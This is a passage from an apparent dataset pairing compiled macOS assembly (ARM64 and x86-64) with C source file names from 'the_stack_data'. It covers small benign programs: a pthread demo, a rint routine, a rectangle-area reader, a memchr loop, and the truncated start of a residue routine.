.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "ERROR: Cerating thread"
l___func__.main: ; @__func__.main
.asciz "main"
l_.str.1: ; @.str.1
.asciz "39493.c"
l_.str.2: ; @.str.2
.asciz "0"
l_.str.3: ; @.str.3
.asciz "thread 0x%.16lX exitting\n"
l_.str.4: ; @.str.4
.asciz "exit v 0x%.16X\n"
l_.str.5: ; @.str.5
.asciz "*thread_arr 0x%.16lX (i:%i)\n"
l_.str.6: ; @.str.6
.asciz "ERROR: Joining thread"
l_.str.7: ; @.str.7
.asciz "\nmain(): All %d threads have terminated\n"
l_.str.8: ; @.str.8
.asciz "Value of shared: %i\n"
l_.str.9: ; @.str.9
.asciz "thread 0x%.16lX id: %i shared: %i\n"
l_.str.10: ; @.str.10
.asciz "\nthread id %i @ 0x%.16lX awakening\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $192, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -164(%rbp)
leaq -160(%rbp), %rdi
xorl %eax, %eax
movl %eax, %esi
callq _pthread_mutex_init
movl $5, -168(%rbp)
movl $0, -172(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
cmpl $5, -172(%rbp)
jge LBB0_6
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl $24, %edi
callq _malloc
movq %rax, %rcx
movslq -172(%rbp), %rax
movq %rcx, -96(%rbp,%rax,8)
movl -172(%rbp), %ecx
movslq -172(%rbp), %rax
movq -96(%rbp,%rax,8), %rax
movl %ecx, (%rax)
movslq -172(%rbp), %rax
movq -96(%rbp,%rax,8), %rax
leaq -160(%rbp), %rcx
movq %rcx, 8(%rax)
movslq -172(%rbp), %rax
movq -96(%rbp,%rax,8), %rax
leaq -168(%rbp), %rcx
movq %rcx, 16(%rax)
movslq -172(%rbp), %rax
leaq -48(%rbp), %rdi
shlq $3, %rax
addq %rax, %rdi
movslq -172(%rbp), %rax
leaq -96(%rbp), %rcx
shlq $3, %rax
addq %rax, %rcx
xorl %eax, %eax
movl %eax, %esi
leaq _s_thread_worker(%rip), %rdx
callq _pthread_create
cmpl $0, %eax
je LBB0_4
## %bb.3:
leaq L_.str(%rip), %rdi
callq _perror
leaq L___func__.main(%rip), %rdi
leaq L_.str.1(%rip), %rsi
leaq L_.str.2(%rip), %rcx
movl $38, %edx
callq ___assert_rtn
LBB0_4: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_5
LBB0_5: ## in Loop: Header=BB0_1 Depth=1
movl -172(%rbp), %eax
addl $1, %eax
movl %eax, -172(%rbp)
jmp LBB0_1
LBB0_6:
movl $0, -176(%rbp)
LBB0_7: ## =>This Inner Loop Header: Depth=1
cmpl $5, -176(%rbp)
jge LBB0_13
## %bb.8: ## in Loop: Header=BB0_7 Depth=1
movq $0, -184(%rbp)
movslq -176(%rbp), %rax
movq -48(%rbp,%rax,8), %rdi
leaq -184(%rbp), %rsi
callq _pthread_join
cmpl $0, %eax
jne LBB0_10
## %bb.9: ## in Loop: Header=BB0_7 Depth=1
movslq -176(%rbp), %rax
movq -48(%rbp,%rax,8), %rsi
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
movq -184(%rbp), %rax
movl (%rax), %esi
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
movslq -176(%rbp), %rax
movq -96(%rbp,%rax,8), %rsi
movl -176(%rbp), %edx
leaq L_.str.5(%rip), %rdi
movb $0, %al
callq _printf
movq -184(%rbp), %rdi
callq _free
movq $0, -184(%rbp)
jmp LBB0_11
LBB0_10:
leaq L_.str.6(%rip), %rdi
callq _perror
leaq L___func__.main(%rip), %rdi
leaq L_.str.1(%rip), %rsi
leaq L_.str.2(%rip), %rcx
movl $52, %edx
callq ___assert_rtn
LBB0_11: ## in Loop: Header=BB0_7 Depth=1
jmp LBB0_12
LBB0_12: ## in Loop: Header=BB0_7 Depth=1
movl -176(%rbp), %eax
addl $1, %eax
movl %eax, -176(%rbp)
jmp LBB0_7
LBB0_13:
leaq -160(%rbp), %rdi
callq _pthread_mutex_destroy
leaq L_.str.7(%rip), %rdi
movl $5, %esi
movb $0, %al
callq _printf
movl -168(%rbp), %esi
leaq L_.str.8(%rip), %rdi
movb $0, %al
callq _printf
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_15
## %bb.14:
xorl %eax, %eax
addq $192, %rsp
popq %rbp
retq
LBB0_15:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _s_thread_worker ## -- Begin function s_thread_worker
.p2align 4, 0x90
_s_thread_worker: ## @s_thread_worker
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rax
movq %rax, -16(%rbp)
movq -16(%rbp), %rax
movq (%rax), %rax
movq %rax, -24(%rbp)
movq $0, -32(%rbp)
movl $4, %edi
callq _malloc
movq %rax, -32(%rbp)
callq _pthread_self
movq %rax, %rsi
movq -24(%rbp), %rax
movl (%rax), %edx
movq 16(%rax), %rax
movl (%rax), %ecx
leaq L_.str.9(%rip), %rdi
xorl %eax, %eax
movl %eax, -48(%rbp) ## 4-byte Spill
movb %al, -37(%rbp) ## 1-byte Spill
callq _printf
movl -48(%rbp), %edi ## 4-byte Reload
movq -24(%rbp), %rax
movq 16(%rax), %rax
movl (%rax), %eax
movl %eax, -36(%rbp)
callq _sleep
movl -36(%rbp), %ecx
decl %ecx
movq -24(%rbp), %rax
movq 16(%rax), %rax
movl %ecx, (%rax)
movq -24(%rbp), %rax
movl (%rax), %edi
callq _sleep
callq _pthread_self
movl %eax, %ecx
movq -32(%rbp), %rax
movl %ecx, (%rax)
movq -24(%rbp), %rax
movl (%rax), %eax
movl %eax, -44(%rbp) ## 4-byte Spill
callq _pthread_self
movl -44(%rbp), %esi ## 4-byte Reload
movq %rax, %rdx
movb -37(%rbp), %al ## 1-byte Reload
leaq L_.str.10(%rip), %rdi
callq _printf
movq -16(%rbp), %rax
movq (%rax), %rdi
callq _free
movq -16(%rbp), %rax
movq $0, (%rax)
movq -32(%rbp), %rdi
callq _pthread_exit
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "ERROR: Cerating thread"
L___func__.main: ## @__func__.main
.asciz "main"
L_.str.1: ## @.str.1
.asciz "39493.c"
L_.str.2: ## @.str.2
.asciz "0"
L_.str.3: ## @.str.3
.asciz "thread 0x%.16lX exitting\n"
L_.str.4: ## @.str.4
.asciz "exit v 0x%.16X\n"
L_.str.5: ## @.str.5
.asciz "*thread_arr 0x%.16lX (i:%i)\n"
L_.str.6: ## @.str.6
.asciz "ERROR: Joining thread"
L_.str.7: ## @.str.7
.asciz "\nmain(): All %d threads have terminated\n"
L_.str.8: ## @.str.8
.asciz "Value of shared: %i\n"
L_.str.9: ## @.str.9
.asciz "thread 0x%.16lX id: %i shared: %i\n"
L_.str.10: ## @.str.10
.asciz "\nthread id %i @ 0x%.16lX awakening\n"
.subsections_via_symbols
| the_stack_data/39493.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal8,8byte_literals
.p2align 3 ; -- Begin function rint
lCPI0_0:
.quad 0x8000000000000000 ; double -0
lCPI0_1:
.quad 0x4330000000000000 ; double 4503599627370496
.section __TEXT,__text,regular,pure_instructions
.globl _rint
.p2align 2
_rint: ; @rint
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
str d0, [sp, #32]
ldr d0, [sp, #32]
str d0, [sp, #24]
ldr x8, [sp, #24]
lsr x8, x8, #52
and x8, x8, #0x7ff
; kill: def $w8 killed $w8 killed $x8
str w8, [sp, #20]
ldr x8, [sp, #24]
lsr x8, x8, #63
; kill: def $w8 killed $w8 killed $x8
str w8, [sp, #16]
ldr w8, [sp, #20]
subs w8, w8, #1075
cset w8, lt
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
ldr d0, [sp, #32]
str d0, [sp, #40]
b LBB0_8
LBB0_2:
ldr w8, [sp, #16]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3:
ldr d0, [sp, #32]
adrp x8, lCPI0_1@PAGE
ldr d1, [x8, lCPI0_1@PAGEOFF]
fsub d0, d0, d1
fadd d0, d0, d1
str d0, [sp, #8]
b LBB0_5
LBB0_4:
ldr d0, [sp, #32]
adrp x8, lCPI0_1@PAGE
ldr d1, [x8, lCPI0_1@PAGEOFF]
fadd d0, d0, d1
fsub d0, d0, d1
str d0, [sp, #8]
b LBB0_5
LBB0_5:
ldr d0, [sp, #8]
fcmp d0, #0.0
cset w8, ne
tbnz w8, #0, LBB0_7
b LBB0_6
LBB0_6:
ldr w8, [sp, #16]
subs w8, w8, #0
cset w8, ne
and w8, w8, #0x1
adrp x9, lCPI0_0@PAGE
ldr d0, [x9, lCPI0_0@PAGEOFF]
movi d1, #0000000000000000
ands w8, w8, #0x1
fcsel d0, d0, d1, ne
str d0, [sp, #40]
b LBB0_8
LBB0_7:
ldr d0, [sp, #8]
str d0, [sp, #40]
b LBB0_8
LBB0_8:
ldr d0, [sp, #40]
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function rint
LCPI0_0:
.quad 0x4330000000000000 ## double 4503599627370496
LCPI0_1:
.quad 0x8000000000000000 ## double -0
.section __TEXT,__text,regular,pure_instructions
.globl _rint
.p2align 4, 0x90
_rint: ## @rint
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movsd %xmm0, -16(%rbp)
movsd -16(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -24(%rbp)
movq -24(%rbp), %rax
shrq $52, %rax
andq $2047, %rax ## imm = 0x7FF
## kill: def $eax killed $eax killed $rax
movl %eax, -28(%rbp)
movq -24(%rbp), %rax
shrq $63, %rax
## kill: def $eax killed $eax killed $rax
movl %eax, -32(%rbp)
cmpl $1075, -28(%rbp) ## imm = 0x433
jl LBB0_2
## %bb.1:
movsd -16(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -8(%rbp)
jmp LBB0_8
LBB0_2:
cmpl $0, -32(%rbp)
je LBB0_4
## %bb.3:
movsd -16(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd LCPI0_0(%rip), %xmm1 ## xmm1 = mem[0],zero
subsd %xmm1, %xmm0
movsd LCPI0_0(%rip), %xmm1 ## xmm1 = mem[0],zero
addsd %xmm1, %xmm0
movsd %xmm0, -40(%rbp)
jmp LBB0_5
LBB0_4:
movsd LCPI0_0(%rip), %xmm0 ## xmm0 = mem[0],zero
addsd -16(%rbp), %xmm0
movsd LCPI0_0(%rip), %xmm1 ## xmm1 = mem[0],zero
subsd %xmm1, %xmm0
movsd %xmm0, -40(%rbp)
LBB0_5:
movsd -40(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jne LBB0_7
jp LBB0_7
## %bb.6:
movl -32(%rbp), %eax
movsd LCPI0_1(%rip), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
movsd %xmm1, -56(%rbp) ## 8-byte Spill
cmpl $0, %eax
movsd %xmm0, -48(%rbp) ## 8-byte Spill
jne LBB0_10
## %bb.9:
movsd -56(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd %xmm0, -48(%rbp) ## 8-byte Spill
LBB0_10:
movsd -48(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd %xmm0, -8(%rbp)
jmp LBB0_8
LBB0_7:
movsd -40(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -8(%rbp)
LBB0_8:
movsd -8(%rbp), %xmm0 ## xmm0 = mem[0],zero
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/159516001.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
mov x9, sp
add x8, sp, #24
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
ldr w0, [sp, #24]
mov w1, #4
bl _alocacao
str x0, [sp, #8]
str wzr, [sp, #20]
b LBB0_1
LBB0_1: ; =>This Loop Header: Depth=1
; Child Loop BB0_3 Depth 2
ldr w8, [sp, #20]
ldr w9, [sp, #24]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_8
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
str wzr, [sp, #16]
b LBB0_3
LBB0_3: ; Parent Loop BB0_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #16]
subs w8, w8, #4
cset w8, ge
tbnz w8, #0, LBB0_6
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_3 Depth=2
ldr x8, [sp, #8]
ldrsw x9, [sp, #20]
ldr x8, [x8, x9, lsl #3]
ldrsw x9, [sp, #16]
add x8, x8, x9, lsl #2
mov x9, sp
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _scanf
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_3 Depth=2
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
b LBB0_3
LBB0_6: ; in Loop: Header=BB0_1 Depth=1
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #20]
add w8, w8, #1
str w8, [sp, #20]
b LBB0_1
LBB0_8:
str wzr, [sp, #20]
b LBB0_9
LBB0_9: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #20]
ldr w9, [sp, #24]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_12
b LBB0_10
LBB0_10: ; in Loop: Header=BB0_9 Depth=1
ldr x8, [sp, #8]
ldrsw x9, [sp, #20]
ldr x8, [x8, x9, lsl #3]
ldr s0, [x8]
fcvtzs w8, s0
stur w8, [x29, #-20]
ldr x8, [sp, #8]
ldrsw x9, [sp, #20]
ldr x8, [x8, x9, lsl #3]
ldr s0, [x8, #4]
fcvtzs w8, s0
stur w8, [x29, #-16]
ldr x8, [sp, #8]
ldrsw x9, [sp, #20]
ldr x8, [x8, x9, lsl #3]
ldr s0, [x8, #8]
fcvtzs w8, s0
stur w8, [x29, #-12]
ldr x8, [sp, #8]
ldrsw x9, [sp, #20]
ldr x8, [x8, x9, lsl #3]
ldr s0, [x8, #12]
fcvtzs w8, s0
stur w8, [x29, #-8]
ldur x0, [x29, #-20]
ldur x1, [x29, #-12]
bl _area
b LBB0_11
LBB0_11: ; in Loop: Header=BB0_9 Depth=1
ldr w8, [sp, #20]
add w8, w8, #1
str w8, [sp, #20]
b LBB0_9
LBB0_12:
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _alocacao ; -- Begin function alocacao
.p2align 2
_alocacao: ; @alocacao
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
stur w1, [x29, #-8]
ldursw x9, [x29, #-4]
mov x8, #4
mul x0, x8, x9
bl _malloc
str x0, [sp, #8]
stur wzr, [x29, #-12]
b LBB1_1
LBB1_1: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-12]
ldur w9, [x29, #-4]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB1_4
b LBB1_2
LBB1_2: ; in Loop: Header=BB1_1 Depth=1
mov x0, #16
bl _malloc
ldr x8, [sp, #8]
ldursw x9, [x29, #-12]
str x0, [x8, x9, lsl #3]
b LBB1_3
LBB1_3: ; in Loop: Header=BB1_1 Depth=1
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB1_1
LBB1_4:
ldr x0, [sp, #8]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _area ; -- Begin function area
.p2align 2
_area: ; @area
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-16]
stur x1, [x29, #-8]
ldur w8, [x29, #-8]
ldur w9, [x29, #-16]
subs w8, w8, w9
stur w8, [x29, #-20]
ldur w8, [x29, #-12]
ldur w9, [x29, #-4]
subs w8, w8, w9
str w8, [sp, #24]
ldur w8, [x29, #-20]
ldr w9, [sp, #24]
mul w8, w8, w9
scvtf s0, w8
str s0, [sp, #20]
ldr s0, [sp, #20]
fcvt d0, s0
mov x8, sp
str d0, [x8]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d"
l_.str.1: ; @.str.1
.asciz "%f"
l_.str.2: ; @.str.2
.asciz "%.0lf\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movl $0, -4(%rbp)
leaq L_.str(%rip), %rdi
leaq -28(%rbp), %rsi
movb $0, %al
callq _scanf
movl -28(%rbp), %edi
movl $4, %esi
callq _alocacao
movq %rax, -48(%rbp)
movl $0, -32(%rbp)
LBB0_1: ## =>This Loop Header: Depth=1
## Child Loop BB0_3 Depth 2
movl -32(%rbp), %eax
cmpl -28(%rbp), %eax
jge LBB0_8
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl $0, -36(%rbp)
LBB0_3: ## Parent Loop BB0_1 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $4, -36(%rbp)
jge LBB0_6
## %bb.4: ## in Loop: Header=BB0_3 Depth=2
movq -48(%rbp), %rax
movslq -32(%rbp), %rcx
movq (%rax,%rcx,8), %rsi
movslq -36(%rbp), %rax
shlq $2, %rax
addq %rax, %rsi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _scanf
## %bb.5: ## in Loop: Header=BB0_3 Depth=2
movl -36(%rbp), %eax
addl $1, %eax
movl %eax, -36(%rbp)
jmp LBB0_3
LBB0_6: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_7
LBB0_7: ## in Loop: Header=BB0_1 Depth=1
movl -32(%rbp), %eax
addl $1, %eax
movl %eax, -32(%rbp)
jmp LBB0_1
LBB0_8:
movl $0, -32(%rbp)
LBB0_9: ## =>This Inner Loop Header: Depth=1
movl -32(%rbp), %eax
cmpl -28(%rbp), %eax
jge LBB0_12
## %bb.10: ## in Loop: Header=BB0_9 Depth=1
movq -48(%rbp), %rax
movslq -32(%rbp), %rcx
movq (%rax,%rcx,8), %rax
cvttss2si (%rax), %eax
movl %eax, -24(%rbp)
movq -48(%rbp), %rax
movslq -32(%rbp), %rcx
movq (%rax,%rcx,8), %rax
cvttss2si 4(%rax), %eax
movl %eax, -20(%rbp)
movq -48(%rbp), %rax
movslq -32(%rbp), %rcx
movq (%rax,%rcx,8), %rax
cvttss2si 8(%rax), %eax
movl %eax, -16(%rbp)
movq -48(%rbp), %rax
movslq -32(%rbp), %rcx
movq (%rax,%rcx,8), %rax
cvttss2si 12(%rax), %eax
movl %eax, -12(%rbp)
movq -24(%rbp), %rdi
movq -16(%rbp), %rsi
callq _area
## %bb.11: ## in Loop: Header=BB0_9 Depth=1
movl -32(%rbp), %eax
addl $1, %eax
movl %eax, -32(%rbp)
jmp LBB0_9
LBB0_12:
movl -4(%rbp), %eax
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _alocacao ## -- Begin function alocacao
.p2align 4, 0x90
_alocacao: ## @alocacao
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movslq -4(%rbp), %rdi
shlq $2, %rdi
callq _malloc
movq %rax, -24(%rbp)
movl $0, -12(%rbp)
LBB1_1: ## =>This Inner Loop Header: Depth=1
movl -12(%rbp), %eax
cmpl -4(%rbp), %eax
jge LBB1_4
## %bb.2: ## in Loop: Header=BB1_1 Depth=1
movl $16, %edi
callq _malloc
movq %rax, %rdx
movq -24(%rbp), %rax
movslq -12(%rbp), %rcx
movq %rdx, (%rax,%rcx,8)
## %bb.3: ## in Loop: Header=BB1_1 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB1_1
LBB1_4:
movq -24(%rbp), %rax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _area ## -- Begin function area
.p2align 4, 0x90
_area: ## @area
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -16(%rbp)
movq %rsi, -8(%rbp)
movl -8(%rbp), %eax
subl -16(%rbp), %eax
movl %eax, -20(%rbp)
movl -12(%rbp), %eax
subl -4(%rbp), %eax
movl %eax, -24(%rbp)
movl -20(%rbp), %eax
imull -24(%rbp), %eax
cvtsi2ss %eax, %xmm0
movss %xmm0, -28(%rbp)
movss -28(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
cvtss2sd %xmm0, %xmm0
leaq L_.str.2(%rip), %rdi
movb $1, %al
callq _printf
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d"
L_.str.1: ## @.str.1
.asciz "%f"
L_.str.2: ## @.str.2
.asciz "%.0lf\n"
.subsections_via_symbols
| the_stack_data/134078.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _basic_c_support ; -- Begin function basic_c_support
.p2align 2
_basic_c_support: ; @basic_c_support
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, #8]
ldr w8, [sp, #8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
mov w8, #42
str w8, [sp, #12]
b LBB0_3
LBB0_2:
mov w8, #36
str w8, [sp, #12]
b LBB0_3
LBB0_3:
ldr w0, [sp, #12]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _basic_c_support ## -- Begin function basic_c_support
.p2align 4, 0x90
_basic_c_support: ## @basic_c_support
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -8(%rbp)
cmpl $0, -8(%rbp)
je LBB0_2
## %bb.1:
movl $42, -4(%rbp)
jmp LBB0_3
LBB0_2:
movl $36, -4(%rbp)
LBB0_3:
movl -4(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/12638951.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _memchr ; -- Begin function memchr
.p2align 2
_memchr: ; @memchr
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, #16]
str w1, [sp, #12]
str w2, [sp, #8]
ldr x8, [sp, #16]
str x8, [sp]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp]
ldrsb w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_6
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp]
ldrsb w8, [x8]
ldr w9, [sp, #12]
subs w8, w8, w9, uxtb
cset w8, ne
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3:
ldr x8, [sp]
str x8, [sp, #24]
b LBB0_7
LBB0_4: ; in Loop: Header=BB0_1 Depth=1
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp]
add x8, x8, #1
str x8, [sp]
b LBB0_1
LBB0_6:
; kill: def $x8 killed $xzr
str xzr, [sp, #24]
b LBB0_7
LBB0_7:
ldr x0, [sp, #24]
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _memchr ## -- Begin function memchr
.p2align 4, 0x90
_memchr: ## @memchr
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -16(%rbp)
movl %esi, -20(%rbp)
movl %edx, -24(%rbp)
movq -16(%rbp), %rax
movq %rax, -32(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
movq -32(%rbp), %rax
movsbl (%rax), %eax
cmpl $0, %eax
je LBB0_6
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movq -32(%rbp), %rax
movsbl (%rax), %eax
movl -20(%rbp), %ecx
## kill: def $cl killed $cl killed $ecx
movzbl %cl, %ecx
cmpl %ecx, %eax
jne LBB0_4
## %bb.3:
movq -32(%rbp), %rax
movq %rax, -8(%rbp)
jmp LBB0_7
LBB0_4: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_5
LBB0_5: ## in Loop: Header=BB0_1 Depth=1
movq -32(%rbp), %rax
addq $1, %rax
movq %rax, -32(%rbp)
jmp LBB0_1
LBB0_6:
movq $0, -8(%rbp)
LBB0_7:
movq -8(%rbp), %rax
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/169130.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _residue ; -- Begin function residue
.p2align 2
_residue: ; @residue
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _resid@GOTPAGE
ldr x8, [x8, _resid@GOTPAGEOFF]
str x8, [sp, #24] ; 8-byte Folded Spill
adrp x8, _atoms@GOTPAGE
ldr x8, [x8, _atoms@GOTPAGEOFF]
stur x8, [x29, #-16] ; 8-byte Folded Spill
stur wzr, [x29, #-8]
stur wzr, [x29, #-8]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-8]
adrp x9, _pocet_atomov@PAGE
ldr w9, [x9, _pocet_atomov@PAGEOFF]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_10
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-8]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldr x9, [sp, #24] ; 8-byte Folded Reload
ldur x8, [x29, #-16] ; 8-byte Folded Reload
ldursw x11, [x29, #-8]
mov x10, #80
mul x12, x11, x10
mov x11, x8
add x11, x11, x12
ldr w12, [x11, #44]
adrp x11, _pocet_resid@PAGE
str x11, [sp, #16] ; 8-byte Folded Spill
ldrsw x14, [x11, _pocet_resid@PAGEOFF]
mov x13, x9
add x13, x13, x14, lsl #4
str w12, [x13, #8]
ldrsw x11, [x11, _pocet_resid@PAGEOFF]
add x9, x9, x11, lsl #4
add x0, x9, #12
ldursw x9, [x29, #-8]
mul x9, x9, x10
add x8, x8, x9
add x1, x8, #40
mov x2, #-1
bl ___strcpy_chk
ldr x10, [sp, #16] ; 8-byte Folded Reload
ldr x9, [sp, #24] ; 8-byte Folded Reload
